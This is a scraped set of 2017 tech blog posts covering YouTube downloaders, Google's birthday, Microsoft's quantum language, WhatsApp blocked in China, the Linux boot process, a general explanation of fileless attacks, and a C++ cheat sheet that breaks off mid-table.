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In today's generation people always find easier way to get their task to be done. People using YouTube are very keen to get the video downloaded on their Systems but YouTube only supports offline saving and there are many videos which do not have eligibility to be downloaded offline so here are top 5 alternatives to download YouTube videos directly to your System.</div>
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<b>1. iTube Studio for Mac and Windows.</b></div>
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If you are tired of ads and virus attack from other video downloader you have tried, you should jump right into iTube Studio YouTube Video Downloader for Mac (or iTube Studio for Windows), which is an easy-to-use free YouTube downloader with ads and virus free. And you can 1 click download any YouTube HD, 4K UHD videos, and YouTube VEVO videos for free, as well as other 10,000 online video sharing sites. Downloading your favorite videos from YouTube and other online video sites has never been so easy.</div>
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<b>2. aTube Catcher.</b></div>
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There are a million situations in which you will find yourself using online videos. Whether it is for work or fun there will always be a reason to watch videos online, but this turns out boring when we lack of a good internet connection, so there is no excuse to not download your favorite videos to your computer or mobile devices. aTube Catcher, for example, works efficiently. One thing people usually forget about when working with free software is that most of the times they are willing to live with ads at the end of every process. Well, with this application there is no need to settle for that. This ad-free software provides everything for video handling and you do not even have to worry if you are a Windows or Mac user because it works on both platforms. While it does provide a lot of different services, you should be aware of its performance before trying to do it all at once. It is not exactly the fastest application out there and it might end up in spending a lot more time than you first expected.</div>
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<b>3. Free YouTube Downloader</b></div>
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Probably not the most creative name for an application but jokes aside, it definitely makes sure users know what its main service is. It definitely lacks of originality in terms of brand and design and it probably is the poorest interface out there but it does the homework properly. It maintains the quality of the original video and it finishes the job fast. Some might call it minimalistic, some others uncomplicated but there will be others who may find this application a little too mediocre. With just one main window and a blank space for URL pasting, it leaves absolutely no room for confusion which might work well for people who do not understand how this works but it certainly looks so simple that it even shows up as if there was no effort at all.</div>
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<b>4. Fastest YouTube Downloader</b></div>
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While promising the quickest experience around, users can only enjoy this awesome feature if they pay for it on a monthly basis. It definitely works great with video downloading but if by any chance you decide to also convert your videos then you will have to dedicate a few more minutes (maybe even hours) until this process is completed. Video and audio quality will not disappoint but if results will not be seen in a short amount of time then really what is the point of paying so much for it.</div>
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<b>5. 4K Video Downloader</b></div>
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One might wonder what is the big fuzz about design and why is it so important to have clean interfaces, well, the answer is easy. It all comes at first sight. It can be as plain as a white window but if you put a smiley on it you will get user’s attention and that will make them dig deeper. As irrelevant as it may sound, it is what it is and that is how this application works. Once you install it you will find yourself in front of a white window with nothing more than a few icons, one of those is a Smiley that will bring on the advanced features for those geeks out there. You can paste as many URLs as you wish and then you will get the option to change its quality. Once again, this is a boring step but if it looks organized then chances are you will not get overwhelmed about all the options it offers; clean design strikes again. Overall, this downloader works nicely, but just as everything, it cannot all be happiness. During the set-up it will install toolbars for your browsers, make sure to uncheck that before you get some annoying add-ons.</div>
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Here are top 5 alternatives to download YouTube videos on your system for free.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-87030407822449260932017-09-27T20:30:00.000+05:302017-09-29T00:58:09.978+05:30When is Google's birthday? why is everyone confused?<div dir="ltr" style="text-align: left;" trbidi="on">
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When is Google's Birthday? Why are people confused about Google's Birthday?</h3>
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One of the never ending discussion is when was actually Google founded. Many different people have different views and many have different dates about Google's birthday. So when is Google's birthday?</div>
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When is Google's Birthday?</div>
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In this article, we attempt to solve this chicken and egg question about Google! In the summer of 1995, Google founders Larry Page and Sergey Brin first met at Stanford.</div>
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Larry Page was considering attending Stanford for grad school, and Sergey Brin was the second-year grad student assigned to show him around. Larry Page decided to attend Stanford. Brin and Page were not instant friends - they actually thought the other was "obnoxious," but they debated each other into friendship and partnership. The two young grad students started collaborating on a new search engine project together.</div>
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In January of 1996, the Google founders started working on a new search engine called BackRub.</div>
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Larry Page began the project as his doctoral thesis. The idea was to crawl and rank search results based loosely on the idea of "citation," which is mainly an academic currency. In scholarly research, academics keep track of citation count (who is citing your work) as a count of how authoritative your writing is. This still holds true today, and Google Scholar will tell you your citation count among other things. (Even though Google Scholar gives you citation counts, most academics prefer using Web of Science when they have access.)Larry Page worked on this new BackRub search engine as a way to translate the idea of citation count into the growing World Wide Web.</div>
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In fact, the idea to make it a "search engine" occurred after the project evolved. Originally he was interested in graphing the World Wide Web, and then both Page and Brin realized that this would make a fantastic consumer search engine. Previously, search engines either crawled based on the number of times a keyword was mentioned or were actually curated portals, like Yahoo! that just sorted all the cool sites they knew about into categories.</div>
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This new BackRub search engine used an innovative new approach to finding pages ranked by relevancy. The search engine was renamed Google, and the algorithm it employed was named Page Rank. Sergey Brin was excited by the idea and partnered with Page to develop the new engine. The project got so big that it started bringing Stanford's network to its knees. Page and Brin were persuaded to drop out of grad school and try launching Google as a startup. (Google is a name that comes as a play on the word "googol," which is a number represented by a one followed by a hundred zeros.)</div>
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The Web domain www.google.com was registered in 1997, but Google officially opened for business in September 1998.</div>
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The Google Doodle has become a regular event, where the search engine will change the logo on its homepage to celebrate holidays and the anniversaries of famous people and events. This is the story behind that tradition.The company, founded by Larry Page and Sergey Brin in 1998, traditionally marks its birthday on the Google homepage on September 27. Google is celebrating its 19th birthday on Wednesday(27 September 2017) with an animated Doodle shown to web browsers around the world.The internet giant is marking the milestone by inviting users of its search engine to "explore 19 surprises we've launched over the past 19 years" when you click on the Doodle.Included in the feature is a version of the classic game snake.</div>
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However, not even Google seems to really know when it was formed. Since 2006, Google has celebrated its birthday on September 27, but the year before that, had it as September 26. In 2004, its 6th birthday Doodle went online on September 7 and in the year before that, it was September 8.In fact, none of these dates seem to have any particular relevance.</div>
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Google's headquarters, the Googleplex, in August 2014</div>
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The company's own history lists its incorporation date in 1998 - the nearest thing to a corporate birthday - as September 4. And the idea for Google began years earlier in 1996, as a research project at Stanford University, when Page and Brin had a new idea for a search engine that would rank pages by how many other sites linked to it, rather than the crude format others used at the time - ranking them by how often the search term appeared on the page.</div>
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Google alluded to confusion over its birthday in 2013, admitting it had celebrated its birthday on four different dates, but September 27 now seems to have stuck. The company may have just chosen the date because it was what the first birthday Doodle in 2002 used.</div>
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In year 2016, the company split under a new corporate umbrella, Alphabet, which hived off more outlandish divisions of the company such as its driver-less cars unit and robotics subsidiary Boston Dynamics. The change saw its founders move away from Google’s day-to-day running.</div>
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18 years after it was founded at Stanford University, Google is one of the world's most powerful companies. It is second only to Apple in value, with a market capitalization of $541 billion (£417 billion).</div>
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Larry Page and Sergey Brin are ranked 12th and 13th on Forbes' list of the richest people in the world, with net worth of $35.2 billion and $34.4 billion respectively.</div>
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Proceed here to see googles Google's 19th Birthday doodle</div>
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So there you have it! Happy birthday, Google!</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-47515936679796247982017-09-26T21:30:00.002+05:302017-09-26T21:30:59.844+05:30Microsoft is Building New Programming Language for Quantum Computers<div dir="ltr" style="text-align: left;" trbidi="on">
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Microsoft gets ready for quantum computing with its new programming language</h3>
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Microsoft is working to build a Sturdy ecosystem for quantum computing for quite some time now. In Microsoft's recent Ignite 2017 tech conference in Orlando, Florida, Microsoft chief executive Satya Nadella said the company will be releasing a new programming language for quantum computers, along with full Visual Studio integration and a quantum computing simulator, later this year.</div>
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“Through quantum computing, we can unlock solutions to problems in areas such as artificial intelligence, clean energy, global warming, materials design and much more. At Microsoft, we’re on the cusp of empowering a quantum revolution with our unique, topological approach,” Mr Nadella said.</div>
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“At Microsoft we are taking a ‘full stack approach’, including programming and controlling the quantum computer at scale. And we want to empower developers and engineers around the world to develop these types of solutions.</div>
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“What’s more, Microsoft has created an entirely new domain specific programming language optimized precisely for exploiting scalable quantum computers, a language that’s deeply integrated into Visual Studio.”</div>
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In order to explain the difference between quantum computers and the current state of the art, Nadella used the corn maze. If a classical computer were to try to figure out the maze, Nadella explained, it would start down a path, hit a wall, back track, start again, hit a wall, and back track again until it finished all its options. No doubt, the answer would be found but it could take a lot of time.</div>
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“A quantum computer that enables you to encode information—not just a one or a zero but a one and a zero together unlocks massive parallelism,” he said. “It could take every path in the maze simultaneously. That’s the power of quantum.”</div>
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While Microsoft has yet to announce what its new programming language will be called, the company says you won’t need to be a quantum computing expert to use it since the language will be deeply integrated into Visual Studio. While this programming language for quantum computers should work much like other supported programming languages, it will also help developers to take concepts from C#, F#, Python and other languages. In the short term, code from the language will run in a quantum simulator. However, in the future, programs built with the programming language will be able to run on actual topological quantum computers.</div>
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“The system, which will be available as a free preview by the end of the year, also includes libraries and tutorials so developers can familiarize themselves with quantum computing. It’s designed to work at a higher level of abstraction, so that developers without quantum expertise can actually call quantum subroutines, or write sequences of programming instructions, working up to writing a complete quantum program,” said Microsoft.</div>
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Microsoft is also going to release two versions of a quantum simulator. While one version will run locally, the other version will be powered by Azure. The local version of the stimulator will offer up to 32 qubits and will require 32GB of RAM. Each additional qubit doubles the amount of memory required. The Azure version will scale up to 40 qubits.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-84917717457610780522017-09-26T20:30:00.000+05:302017-09-26T20:30:00.200+05:30Whatsapp Blocked!!!! By Chinese Authorities after several hints by Security experts.<div dir="ltr" style="text-align: left;" trbidi="on">
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WhatsApp blocked in China by authorities, after several hints over the past few months.</h3>
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Security experts have confirmed that China has blocked popular messaging platform WhatsApp in its region. Users of WhatsApp in China have faced interruptions over the past few months as users were barred from sending or receiving images and videos, but the current ban has been confirmed to apply to text messages as well</div>
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Nadim Kobeissi, an applied cryptographer at Symbolic Software confirmed to The New York Times in a report that the service was affected in the country and it included text messages as well. “This is not the typical technical method in which the Chinese government censors something,” Kobeissi said.</div>
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The cryptographer who works at a research start-up based out of Paris also added that the ban on text messages on WhatsApp could mean that China's censors have developed a specific software to interfere with these messages. According to Kobeissi, disruptions in the messaging service had begun on 20 September and was 'comprehensively' blocked on Monday, 25 September.</div>
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The country has had a history of blocking social media websites with the likes of Wikipedia, Twitter, Facebook, Instagram and a number of Google's services. The New York Times report states that video chats and other modes of file-sharing on WhatsApp were being blocked in mid-July but text messages were allowed to be sent.</div>
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The report pointed out that despite the ban, a number of services provided by American tech companies like Microsoft's Skype continue to run, though Skype does not provide end-to-end encryption. Apple's FaceTime is also allowed which despite having end-to-end encryption, does not let secret codes to be exchanged between users which WhatsApp uses to remove the occurrence of what is termed as a 'man-in-the-middle' attack.</div>
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The Verge, in an another report cites that the Facebook-owned messaging service's use of end-to-end encryption to secure chats could be the reason behind the ban, while it also coincides with the 19th National Congress of the Chinese Communist Party. Existing chat services in China like WeChat are pledged to provide the Chinese government user personal data which could be a reason that allowed WhatsApp to be picked on. WeChat with 963 million active users, however, would look to thrive on the ban as WhatsApp was one of its few remaining competitors in the Chinese market.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-81895369370415878222017-09-25T21:02:00.001+05:302017-09-25T21:02:54.519+05:306 Stages of Linux Boot Process .<div dir="ltr" style="text-align: left;" trbidi="on">
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6 Stages of Linux Boot Process (Start up Sequence)</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEPy6Lqfu6h9hC3Zt6hdVg_h-v2oekRv2s46YuG9G1hotbOlFTah-nEfA35y6cZmeM_6dhIRCyBj0fKBKc42VQWVyUP0TKetPtsYogpF1YWHN0L_Kf058J5OWlhWLPynogxciVpjGUourh/s1600/Linux-Booting-process.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="6 Stages of Linux Boot Process ." border="0" data-original-height="650" data-original-width="958" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEPy6Lqfu6h9hC3Zt6hdVg_h-v2oekRv2s46YuG9G1hotbOlFTah-nEfA35y6cZmeM_6dhIRCyBj0fKBKc42VQWVyUP0TKetPtsYogpF1YWHN0L_Kf058J5OWlhWLPynogxciVpjGUourh/s320/Linux-Booting-process.png" title="6 Stages of Linux Boot Process ." width="320" /></a></div>
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Linux is a Unix-like computer operating system assembled under the model of free and open-source software development and distribution. The defining component of Linux is the Linux kernel,[12] an operating system kernel first released on September 17, 1991 by Linus Torvalds.[13][14][15] The Free Software Foundation uses the name GNU/Linux to describe the operating system, which has led to some controversy.</div>
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Following are the 6 high level stages of a typical Linux boot process.</div>
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<b>1. BIOS</b></div>
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BIOS stands for Basic Input/Output System</div>
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Performs some system integrity checks</div>
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Searches, loads, and executes the boot loader program.</div>
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It looks for boot loader in floppy, cd-rom, or hard drive. You can press a key (typically F12 of F2, but it depends on your system) during the BIOS startup to change the boot sequence.</div>
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Once the boot loader program is detected and loaded into the memory, BIOS gives the control to it.</div>
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So, in simple terms BIOS loads and executes the MBR boot loader.</div>
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<b>2. MBR</b></div>
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MBR stands for Master Boot Record.</div>
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It is located in the 1st sector of the bootable disk. Typically /dev/hda, or /dev/sda</div>
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MBR is less than 512 bytes in size. This has three components </div>
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1) primary boot loader info in 1st 446 bytes </div>
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2) partition table info in next 64 bytes </div>
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3) mbr validation check in last 2 bytes.</div>
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It contains information about GRUB (or LILO in old systems).</div>
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So, in simple terms MBR loads and executes the GRUB boot loader.</div>
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<b>3. GRUB</b></div>
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GRUB stands for Grand Unified Bootloader.</div>
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If you have multiple kernel images installed on your system, you can choose which one to be executed.</div>
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GRUB displays a splash screen, waits for few seconds, if you don’t enter anything, it loads the default kernel image as specified in the grub configuration file.</div>
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GRUB has the knowledge of the filesystem (the older Linux loader LILO didn’t understand filesystem).</div>
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Grub configuration file is /boot/grub/grub.conf</div>
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o, in simple terms GRUB just loads and executes Kernel and initrd images.</div>
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<b>4. Kernel</b></div>
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Mounts the root file system as specified in the “root=” in grub.conf</div>
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Kernel executes the /sbin/init program</div>
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Since init was the 1st program to be executed by Linux Kernel, it has the process id (PID) of 1. Do a ‘ps -ef | grep init’ and check the pid.</div>
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initrd stands for Initial RAM Disk.</div>
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initrd is used by kernel as temporary root file system until kernel is booted and the real root file system is mounted. It also contains necessary drivers compiled inside, which helps it to access the hard drive partitions, and other hardware.</div>
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<b>5. Init</b></div>
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Looks at the /etc/inittab file to decide the Linux run level.</div>
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Following are the available run levels</div>
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<span style="white-space: pre;"> </span>0 – halt</div>
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<span style="white-space: pre;"> </span>1 – Single user mode</div>
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<span style="white-space: pre;"> </span>2 – Multiuser, without NFS</div>
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<span style="white-space: pre;"> </span>3 – Full multiuser mode</div>
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<span style="white-space: pre;"> </span>4 – unused</div>
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<span style="white-space: pre;"> </span>5 – X11</div>
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<span style="white-space: pre;"> </span>6 – reboot</div>
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Init identifies the default initlevel from /etc/inittab and uses that to load all appropriate program.</div>
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Execute ‘grep initdefault /etc/inittab’ on your system to identify the default run level</div>
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If you want to get into trouble, you can set the default run level to 0 or 6. Since you know what 0 and 6 means, probably you might not do that.</div>
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Typically you would set the default run level to either 3 or 5.</div>
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<b>6. Runlevel programs</b></div>
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When the Linux system is booting up, you might see various services getting started. For example, it might say “starting sendmail …. OK”. Those are the runlevel programs, executed from the run level directory as defined by your run level.</div>
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Depending on your default init level setting, the system will execute the programs from one of the following directories.</div>
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<span style="white-space: pre;"> </span>Run level 0 – /etc/rc.d/rc0.d/</div>
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<span style="white-space: pre;"> </span>Run level 1 – /etc/rc.d/rc1.d/</div>
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<span style="white-space: pre;"> </span>Run level 2 – /etc/rc.d/rc2.d/</div>
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<span style="white-space: pre;"> </span>Run level 3 – /etc/rc.d/rc3.d/</div>
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<span style="white-space: pre;"> </span>Run level 4 – /etc/rc.d/rc4.d/</div>
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<span style="white-space: pre;"> </span>Run level 5 – /etc/rc.d/rc5.d/</div>
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<span style="white-space: pre;"> </span>Run level 6 – /etc/rc.d/rc6.d/</div>
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Please note that there are also symbolic links available for these directory under /etc directly. So, /etc/rc0.d is linked to /etc/rc.d/rc0.d.</div>
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Under the /etc/rc.d/rc*.d/ directories, you would see programs that start with S and K.</div>
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Programs starts with S are used during startup. S for startup.</div>
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Programs starts with K are used during shutdown. K for kill.</div>
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There are numbers right next to S and K in the program names. Those are the sequence number in which the programs should be started or killed.</div>
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For example, S12syslog is to start the syslog deamon, which has the sequence number of 12. S80sendmail is to start the sendmail daemon, which has the sequence number of 80. So, syslog program will be started before sendmail.</div>
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There you have it. That is what happens during the Linux boot process.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-32543849508951028152017-09-25T20:00:00.000+05:302017-09-25T20:00:27.546+05:30How hackers hack systems without installing software?<div dir="ltr" style="text-align: left;" trbidi="on">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8BaZI7UKSSSwJM2t8lLF4L-adWlMYxYnhWEXE3OVmQOWUU_lIK2Z_GVd2T3LVimu4Kd-GSUkWcks3cIGxI1FXj3KESPlzTXc5CjU9uZ-gebwcOe-TssEyN94-PmiROtMWUE4p92en1K-K/s1600/download+%25282%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="How hackers hack systems without installing software?" border="0" data-original-height="225" data-original-width="225" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8BaZI7UKSSSwJM2t8lLF4L-adWlMYxYnhWEXE3OVmQOWUU_lIK2Z_GVd2T3LVimu4Kd-GSUkWcks3cIGxI1FXj3KESPlzTXc5CjU9uZ-gebwcOe-TssEyN94-PmiROtMWUE4p92en1K-K/s320/download+%25282%2529.png" title="How hackers hack systems without installing software?" width="320" /></a></div>
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What is a file-less attack?</h3>
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A non-malware attack is one in which an attacker uses existing software, allowed applications and authorized protocols to carry out malicious activities. Non-malware attacks are capable of gaining control of computers without downloading any malicious files, hence the name. Non-malware attacks are also referred to as fileless, memory-based or “living-off-the-land” attacks.</div>
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With non-malware attacks, an attacker is able to infiltrate, take control and carry out objectives by taking advantage of vulnerable software that a typical end user would leverage on a day-to-day basis (think web browsers or Office-suite applications). Attackers will also use the successful exploit to gain access to native operating system tools (think PowerShell or Windows Management Instrumentation – WMI) or other applications that grant the attacker a level of execution freedom.</div>
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These native tools grant users exceptional rights and privileges to carry out the most basic commands across a network that lead to valuable data.</div>
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<b>How file-less attacks work?</b></div>
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Fileless malware leverages the applications already installed on a user's computer, applications that are known to be safe. For example, exploit kits can target browser vulnerabilities to make the browser run malicious code, or take advantage of Microsoft Word macros, or use Microsoft's Powershell utility.</div>
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"Software vulnerabilities in the software already installed are necessary to carry out a fileless attack, so the most important step in prevention is patch and update not only the operating system, but software applications," says Jon Heimerl, manager of the threat intelligence communications team at NTT Security. "Browser plugins are the most overlooked applications in the patch management process and the most targeted in fileless infections."</div>
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Attacks using Microsoft Office macros can be thwarted by turning off the macro functionality.</div>
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<b>ENDGAME AMPLIFIES SOC SKILLS TO STOP FILELESS ATTACKS AT ENTERPRISE SCALE</b></div>
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Endgame employs a layered protection to prevent fileless attacks. Combining both pre-attack and ongoing attack protections at the kernel and user level of the operating system, Endgame ensures complete protection against fileless attacks regardless of when in the attack lifecycle the agent is deployed on an endpoint.</div>
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Pre-attack prevention: Endgame's patent-pending technology prevents fileless attack techniques like shell code injection and DLL injection. Kernel-level analysis, performed on every executing thread, stops fileless attacks before an adversary can gain a foothold in memory. Once a fileless attack is blocked, the analyst gets an alert providing complete visibility of the origin and the full extent of the attack.</div>
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Ongoing attack prevention: To find adversaries resident in memory, Endgame automates in-memory analysis and identifies techniques such as memory modification, memory injection, hidden modules, and packed and encrypted areas in memory across unlimited endpoints in minutes with no end-user impact. Unlike other EDR tools, Endgame allows the SOC to proactively root out advanced attackers before any data theft and loss. With a few clicks of a button, Endgame empowers tier 1 SOC analysts to be a force-multiplier and stop fileless attacks at scale across the enterprise.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-82370434624782097122017-09-24T19:18:00.002+05:302017-10-08T11:23:32.684+05:30Ultimate C++ Programming Language Cheat Sheet<div dir="ltr" style="text-align: left;" trbidi="on">
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C++ Programming Language Cheat Sheet</h2>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1O3Hua81vsn7K5sa-8RoCtgR4F62jTyKyNLcTR36WXyLtcFdD6xnTCzreHHA2SrkWMGePutV7qEpxEEejagm-FM2yrDq9jmtgFcRlSF9JPNIggeAK23w84am58REWbv0_E0yaMzHNGQ4T/s1600/c%252B%252B.png" style="margin-left: 1em; margin-right: 1em;"><img alt="Ultimate C++ Programming Language Cheat Sheet" border="0" data-original-height="1200" data-original-width="1200" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1O3Hua81vsn7K5sa-8RoCtgR4F62jTyKyNLcTR36WXyLtcFdD6xnTCzreHHA2SrkWMGePutV7qEpxEEejagm-FM2yrDq9jmtgFcRlSF9JPNIggeAK23w84am58REWbv0_E0yaMzHNGQ4T/s320/c%252B%252B.png" title="Ultimate C++ Programming Language Cheat Sheet" width="320" /></a></div>
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<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">What is C++?</strong></div>
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<b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">C++</b> is a general-purpose programming language. It has imperative, object-oriented and generic programming features, while also providing facilities for low-level memory manipulation. It was designed with a bias toward system programming and embedded, resource-constrained and large systems, with performance, efficiency and flexibility of use as its design highlights.</div>
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<b>Data Types</b></div>
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Set of values together with a set of operations called data type.C++ data types classified into three categories:</div>
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1.Simple data type<br />
2.Structured data type<br />
3.Pointers</div>
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Integral Data Types</div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">char</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">short</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">int</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">long</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">bool</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">unsigned char</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">unsigned short</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">unsigned int</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">unsigned long</li>
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Floating-Point Data Types :</div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">float</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">double</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">long double</li>
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Standard Library</h1>
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The C++ Standard Library can be categorized into two parts:</div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">The Standard Function Library:</b> This library consists of general-purpose, stand-alone functions that are not part of any class. The function library is inherited from C.</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">The Object-Oriented Class Library:</b> This is a collection of classes and associated functions.</li>
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Variable Types</h1>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="30%">Type</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">bool</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Stores either value true or false.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">char</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Typically a single octet(one byte). This is an integer type.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">int</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">The most natural size of the integer for the machine.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">float</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">A single-precision floating point value.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">double</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">A double-precision floating point value.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">void</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Represents the absence of type.</td></tr>
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<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">Operators in C++</strong></span></div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Arithmetic Operators</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Relational Operators</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Logical Operators</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Bitwise Operators</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Assignment Operators</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Misc Operators</li>
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<span style="border: 0px; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">1.Arithmetic Operators.</strong></span></div>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="10%">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="45%">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">+</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Adds two operands</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X + Y = 20</td></tr>
